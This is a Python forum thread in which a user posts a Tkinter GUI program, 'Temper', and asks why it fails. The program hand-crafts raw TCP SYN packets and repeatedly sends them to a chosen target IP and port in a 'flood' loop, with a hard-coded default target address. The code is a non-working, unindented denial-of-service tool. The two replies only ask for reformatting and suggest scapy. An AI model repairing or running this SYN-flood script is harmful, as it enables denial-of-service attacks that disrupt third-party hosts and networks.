Python Forum
Trouble with sending raw sockets
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Trouble with sending raw sockets
#1
I am having trouble with the sendto function and don't know what else to try because I seem to have tried everything... I am just trying to get the packet to send and I keep getting the error "self.sock.sendto(self.packet,(self.mainip,self.mainport))
TypeError: string or unicode text buffer expected, not StringVar" Please help.. anything is appreciated :D
PS: because you cant include urls in the post i just added "5" a bunch of times where the comment says "delete the 5's" about halfway through the code so the program will still work

try:
from tkinter import *
from tkinter import ttk
from random import randrange
import urllib.request
import os, socket, tkinter.messagebox as tm, struct, random
print("All modules imported!")
except:
print("Could not import all modules.. You may be missing some.")
root = Tk()
root.path = os.path.realpath(__file__)
print("File path:",root.path)
root.geometry("450x250")
root.resizable(width=FALSE, height=FALSE)
root.iconbitmap("z_icon.ico")
root.title("Temper")
root.loop_counter = 0
class main(Frame):
def __init__(self, master):
super().__init__(master)
#Making the notebook
noteframe = ttk.Notebook(root, width = 450, height=250)
main = ttk.Frame(noteframe)
ipgrabber = ttk.Frame(noteframe)
settings = ttk.Frame(noteframe)
myinfo = ttk.Frame(noteframe)
noteframe.add(main, text='Main')
#noteframe.add(myinfo, text='My Info') #Putting this on the main tab to fill space
noteframe.add(settings, text='Settings')
#Message Library
msg_1 = "Find my source code on GitHub"
msg_2 = "Save paper, use a computer."
msg_3 = "Programming is love. Programming is life."
msg_4 = "STACK-FUKING-OVERFLOW"
msg_5 = "Na-na na-na boo boo, stick your head in doo doo"
msg_6 = "PC master race"
msg_7 = "Hello. It's me."
msg_8 = "Pardon me.. Just testing some things..."
msg_9 = "Ones and yeeYee"
msg_10 = "Im not a hacker, im a security expert"
#Create a bigger message library
message_cache = [msg_1, msg_2, msg_3, msg_4, msg_5, msg_6, msg_7, msg_8, msg_9, msg_10]
random_index = randrange(0,len(message_cache))
#Create a random number to use as the port
Numbers = range(1000, 9999)
self.random_port = random.choice(Numbers)
#Variables
self.thingtograb = StringVar()
self.mainip = StringVar()
self.mainport = StringVar()
self.interval = StringVar()
self.timeout = StringVar()
self.faillimit = StringVar()
self.message = StringVar()
#Setting the default settings
self.thingtograb.set("google.com")
self.mainip.set("66.58.255.24")
self.mainport.set("80")
self.interval.set("0")
self.timeout.set("1")
self.faillimit.set("3")
self.message.set(message_cache[random_index])
#Main widgets
ip_ = Label(main, text="IP: ", font=("mincho ", 12, "bold")).grid(row=1, column=1, columnspan=2, sticky=W)
port_ = Label(main, text="Port: ", font=("mincho ", 12, "bold")).grid(row=2, column=1, sticky=W)
allowance_ = Label(main, text="Allowance: ", font=("mincho ", 12, "bold")).grid(row=3, column=1, sticky=W)
interval_ = Label(main, text="Interval: ", font=("mincho ", 12, "bold")).grid(row=4, column=1, sticky=W)
timeout_ = Label(main, text="Timeout: ", font=("mincho ", 12, "bold")).grid(row=5, column=1, sticky=W)
fail_ = Label(main, text="Fail Limit: ", font=("mincho ", 12, "bold")).grid(row=6, column=1, sticky=W)
message_ = Label(main, text="Message: ", font=("mincho ", 12, "bold")).grid(row=6, column=1, sticky=W)
mainipint = ttk.Entry(main, width=16, textvariable=self.mainip).grid(row=1, column=2, sticky=W, pady=2)
portint = ttk.Entry(main, width=8, textvariable=self.mainport).grid(row=2, column=2, sticky=W, pady=2)
intervalint = ttk.Entry(main, width=6, textvariable=self.interval).grid(row=3, column=2, sticky=W, pady=2)
timeoutent = ttk.Entry(main, width=6, textvariable=self.timeout).grid(row=4, column=2, sticky=W, pady=2)
failent = ttk.Entry(main, width=6, textvariable=self.faillimit).grid(row=5, column=2, sticky=W, pady=2)
messageent = ttk.Entry(main, width=30, textvariable = self.message).grid(row=6, column=2, columnspan=6, sticky=W, pady=2)
start = ttk.Button(main, width=10, text="Start", command=self.prep).grid(row=7, column=1, sticky=W)
stop = ttk.Button(main, width=10, text="Stop").grid(row=7, column=2, sticky=W)
#add reset button
#add change message button
program_name = Label(main, text="Temper", fg="darkred", font=("System", 32)).grid(row=8, column=1, rowspan=2, columnspan=2, sticky=W)
separator = ttk.Separator(main, orient=VERTICAL).grid(row=1, column=4, rowspan=5, sticky=NS)
separator2 = ttk.Separator(main, orient=VERTICAL).grid(row=7, column=4, rowspan=15, sticky=NS)
#IPgrabber widgets
label = Label(main, text="Domain Name: ", font=("System", 11, "bold")).grid(row=1, column=5, sticky=W)
entry = ttk.Entry(main, textvariable=self.thingtograb).grid(row=1, column=6, sticky=W)
button = ttk.Button(main, text="Grab", command=self.grabIP).grid(row=2, column=6, sticky=E)
#My Info widgets
self.publicip = StringVar()
self.publicport = StringVar()
self.sent = StringVar()
self.totalsent = StringVar()
self.failsend = StringVar()
self.publicport.set(self.random_port)
self.sent.set(str(0))
self.totalsent.set(0)
self.failsend.set(0)



#Erase the 5s to get the working link in the line below <-------------------------------
self.publicip.set(urllib.request.urlopen('h5ttp5://id5en5t.m5e').read().decode('utf8')) #will need to make this more reliable
myip = Label(main, text="Public IP:", font=("System", 11, "bold")).grid(row=3, column=5, sticky=W)
public_ip = Label(main, textvariable=self.publicip).grid(row=3, column=6, sticky=W)
myport = Label(main, text="Public Port:", font=("System", 11, "bold")).grid(row=4, column=5, sticky=W)
public_port = Label(main, textvariable=self.publicport).grid(row=4, column=6, sticky=W)
send_status = Label(main, text="Send Status: ", font=("System", 11, "bold")).grid(row=5, column=5, sticky=W)
sent_label = Label(main, text="Sent:", font=("System", 11, "bold")).grid(row=7, column=5, rowspan=1, sticky=W)
totalsent_label = Label(main, text="Total Sent:", font=("System", 11, "bold")).grid(row=8, column=5,rowspan=1, sticky=W)
failed_sent = Label(main, text="Failed:", font=("System", 11, "bold")).grid(row=9, column=5,rowspan=1, sticky=W)
self.sentlabel = Label(main, textvariable = self.sent)
self.sentlabel.grid(row=7, column=6, sticky=W)
self.totalsentlabel = Label(main, textvariable=self.totalsent)
self.totalsentlabel.grid(row=8, column=6, sticky=W)
self.failedsendlabel = Label(main, textvariable=self.failsend)
self.failedsendlabel.grid(row=9, column=6, sticky=W)
noteframe.grid()
def grabIP(self):
self.mainip.set(socket.gethostbyname(self.thingtograb.get()))
def prep(self):
if self.mainip.get() == "":
tm.showinfo("Requirements error", "Please enter a target IP...")
self.stop()
elif self.mainport.get() == "":
tm.showinfo("Requirements error", "Please enter a target port...")
self.stop()
elif self.interval.get() == "":
tm.showinfo("Requirements error", "Please enter an interval...")
self.stop()
elif self.timeout.get() == "":
tm.showinfo("Requirements error", "Please enter a timeout time...")
self.stop()
elif self.faillimit.get() == "":
tm.showinfo("Requirements error", "Please set the failed send limit...")
self.stop()
elif self.message.get() == "":
tm.showinfo("Requirements error", "Please enter a message...")
self.stop()
def headers():
#ip header
version = 4
ihl = 5
DF = 0
Tlen = 20 + 20
ID = 43533
Flag = 0
Fragment = 0
TTL = 225
Proto = socket.IPPROTO_TCP
ip_checksum = 0
SIP = socket.inet_aton(str(self.publicip.get()))
DIP = socket.inet_aton(str(self.mainip.get()))
ver_ihl = (version << 4) + ihl
f_f = (Flag << 13) + Fragment
self.ip_hdr =  struct.pack("!BBHHHBBH4s4s", ver_ihl,DF,Tlen,ID,f_f,TTL,Proto,ip_checksum,SIP,DIP)
#tcp header
tcp_source = int(str(self.publicport.get()))
tcp_dest = int(str(self.mainport.get()))
tcp_seq = 454
tcp_ack_seq = 0
tcp_doff = 5
#tcp flags
tcp_fin = 0
tcp_syn = 1
tcp_rst = 0
tcp_psh = 0
tcp_ack = 0
tcp_urg = 0
tcp_window = socket.htons(5840)
tcp_check = 0
tcp_urg_ptr = 0
tcp_offset_res = (tcp_doff << 4) + 0
tcp_flags = tcp_fin + (tcp_syn << 1) + (tcp_rst << 2) + (tcp_psh <<3) + (tcp_ack << 4) + (tcp_urg << 5)
self.tcp_hdr = struct.pack('!HHLLBBHHH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags,  tcp_window, tcp_check, tcp_urg_ptr)
#pseudo header
source_address = socket.inet_aton(str(self.publicip.get()))
dest_address = socket.inet_aton(str(self.mainip.get()))
placeholder = 0
protocol = socket.IPPROTO_TCP
tcp_length = len(self.tcp_hdr)
self.psh = struct.pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length);
self.psh = self.psh + self.tcp_hdr;
#tcp_checksum = checksum(psh)
headers()
self.packet = self.ip_hdr + self.psh
print("Packets created!")
try:
self.sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
#self.sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
self.loop = True
except socket.error:
tm.showinfo("Problem with privileges...", """[User Error] Could not create socket.. Please make
sure you have admin privileges.""")
self.flood()
def flood(self):
msg = self.message.get()
msg.encode("utf-8")
if self.loop == True:
root.loop_counter=root.loop_counter+1
try:
self.sock.sendto(self.packet,(self.mainip,self.mainport))
self.sent.set((self.sent.get()+1)) #this will just keep adding "1" making it look like "111111111111111111" as it sends more and more
self.sentlabel.config(textvariable=self.sent)
self.totalsentlabel.config(textvariable=self.totalsent)
print("[Console] Sockets sent:", root.loop_counter)
except socket.error:
self.failsend.set((self.failsend + 1))
self.failedsendlabel.config(textvariable=self.failsend)
root.after((self.timeout), self.flood)
else:
self.stop()
def stop(self):
#add sent to total sent for the label
#reset sent label and failed label
self.loop = False
frame = main(root)
root.mainloop()
Reply
#2
fix your code indentation and re-post in code tags!
Reply
#3
Also why don't you use scapy for send raw packets? will help
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Sockets interferring with USB ? epif18 0 2,637 Mar-19-2021, 07:45 PM
Last Post: epif18
  Just learning sockets etc... floatingshed 2 2,335 May-06-2020, 09:37 PM
Last Post: floatingshed
  Quick sockets question... ptrivino 2 2,223 Sep-26-2019, 08:51 PM
Last Post: ptrivino
  Sockets and Sendmail taintedsushi 2 2,340 Sep-02-2019, 12:51 PM
Last Post: venquessa
  Script Conversion 2.7 to 3 (sockets) Pumpernickel 1 2,538 Apr-10-2019, 04:26 PM
Last Post: Pumpernickel
  What sort of things can I write to learn about sockets marienbad 2 2,697 Oct-16-2018, 04:02 PM
Last Post: buran
  unix domain sockets Skaperen 8 4,948 Sep-02-2018, 07:02 PM
Last Post: Skaperen
  file transfer with sockets sinister88 1 6,450 Nov-11-2017, 03:29 PM
Last Post: heiner55
  Silly Sockets Jarvis 2 4,211 Feb-20-2017, 01:43 PM
Last Post: Jarvis

Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020